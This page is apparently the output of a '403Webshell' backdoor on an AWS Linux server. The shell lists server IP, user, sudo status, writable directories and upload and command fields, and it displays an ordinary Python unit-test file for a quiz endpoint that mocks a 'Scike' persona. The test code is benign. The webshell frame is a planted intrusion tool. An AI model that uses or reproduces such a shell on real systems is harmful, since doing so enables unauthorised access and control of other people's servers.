403Webshell
Server IP : 3.147.158.171  /  Your IP : 216.73.216.216
Web Server : Apache/2.4.67 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-2-178.us-east-2.compute.internal 6.1.172-216.329.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Wed May 20 06:31:34 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.21
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /tsai/repo/api/tests/unit/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /tsai/repo/api/tests/unit/test_quiz.py
"""Unit tests for the /quiz/init endpoint."""

from unittest.mock import patch

from app.appTypes import Character, LLMProvider, LLModel


def _fake_scike() -> Character:
    return Character(
        slug='scike',
        name='Scike',
        email='scike@example.test',
        description='Scike is a friendly quiz host who helps readers learn.',
        enabled=True,
        date='2026-01-01',
        siteId='',
        model=LLModel(provider=LLMProvider.OPEN_AI, name='gpt-4o-mini'),
    )


class TestQuizInit:
    def test_init_returns_instructions_and_intro(self, test_client, mock_site_config):
        with patch(
            'app.api.v1.endpoints.quiz.site_config_service.get_site_by_slug',
            return_value=mock_site_config,
        ), patch(
            'app.api.v1.endpoints.quiz.drupal_service.fetch_character_by_slug',
            return_value={'fake': 'drupal-node'},
        ), patch(
            'app.api.v1.endpoints.quiz.drupal_service.create_character',
            return_value=_fake_scike(),
        ):
            payload = {
                'post_id': 42,
                'site_slug': 'test',
                'character_slug': 'scike',
                'title': 'How Photosynthesis Works',
                'body': 'Photosynthesis is the process by which plants convert sunlight into energy...',
            }
            res = test_client.post('/api/v1/quiz/init', json=payload)

        assert res.status_code == 200, res.text
        data = res.json()

        assert data['character']['slug'] == 'scike'
        assert data['character']['name'] == 'Scike'

        instructions = data['instructions']
        assert 'How Photosynthesis Works' in instructions
        assert 'Photosynthesis is the process' in instructions
        assert 'three-question quiz' in instructions
        assert 'MULTIPLE CHOICE' in instructions
        assert 'SHORT ANSWER' in instructions
        assert 'PASS' in instructions
        assert 'Do NOT assign letter grades' in instructions

        intro = data['intro_message']
        assert 'Scike' in intro
        assert 'How Photosynthesis Works' in intro

    def test_init_unknown_site_returns_404(self, test_client):
        with patch(
            'app.api.v1.endpoints.quiz.site_config_service.get_site_by_slug',
            return_value=None,
        ):
            res = test_client.post(
                '/api/v1/quiz/init',
                json={
                    'post_id': 1,
                    'site_slug': 'nope',
                    'title': 't',
                    'body': 'b',
                },
            )
        assert res.status_code == 404

    def test_init_unknown_character_returns_404(self, test_client, mock_site_config):
        with patch(
            'app.api.v1.endpoints.quiz.site_config_service.get_site_by_slug',
            return_value=mock_site_config,
        ), patch(
            'app.api.v1.endpoints.quiz.drupal_service.fetch_character_by_slug',
            return_value=None,
        ):
            res = test_client.post(
                '/api/v1/quiz/init',
                json={
                    'post_id': 1,
                    'site_slug': 'test',
                    'character_slug': 'ghost',
                    'title': 't',
                    'body': 'b',
                },
            )
        assert res.status_code == 404

    def test_init_accepts_non_openai_character(self, test_client, mock_site_config):
        """The quiz always runs on QUIZ_MODEL, so a Claude-authored character is
        still a valid host — it only supplies the persona. The default 'scike'
        character uses Claude, which used to 500 on sites like johnturman.net."""
        claude_scike = _fake_scike()
        claude_scike.model = LLModel(provider=LLMProvider.CLAUDE, name='claude-sonnet-4-6')

        with patch(
            'app.api.v1.endpoints.quiz.site_config_service.get_site_by_slug',
            return_value=mock_site_config,
        ), patch(
            'app.api.v1.endpoints.quiz.drupal_service.fetch_character_by_slug',
            return_value={'fake': 'drupal-node'},
        ), patch(
            'app.api.v1.endpoints.quiz.drupal_service.create_character',
            return_value=claude_scike,
        ):
            res = test_client.post(
                '/api/v1/quiz/init',
                json={
                    'post_id': 1,
                    'site_slug': 'test',
                    'character_slug': 'scike',
                    'title': 't',
                    'body': 'b',
                },
            )

        assert res.status_code == 200, res.text
        assert res.json()['character']['slug'] == 'scike'

    def test_init_defaults_character_slug_to_scike(self, test_client, mock_site_config):
        captured = {}

        def fake_fetch(slug, site):
            captured['slug'] = slug
            return {'fake': 'node'}

        with patch(
            'app.api.v1.endpoints.quiz.site_config_service.get_site_by_slug',
            return_value=mock_site_config,
        ), patch(
            'app.api.v1.endpoints.quiz.drupal_service.fetch_character_by_slug',
            side_effect=fake_fetch,
        ), patch(
            'app.api.v1.endpoints.quiz.drupal_service.create_character',
            return_value=_fake_scike(),
        ):
            res = test_client.post(
                '/api/v1/quiz/init',
                json={
                    'post_id': 1,
                    'site_slug': 'test',
                    'title': 't',
                    'body': 'b',
                },
            )

        assert res.status_code == 200
        assert captured['slug'] == 'scike'

Youez - 2016 - github.com/yon3zu
LinuXploit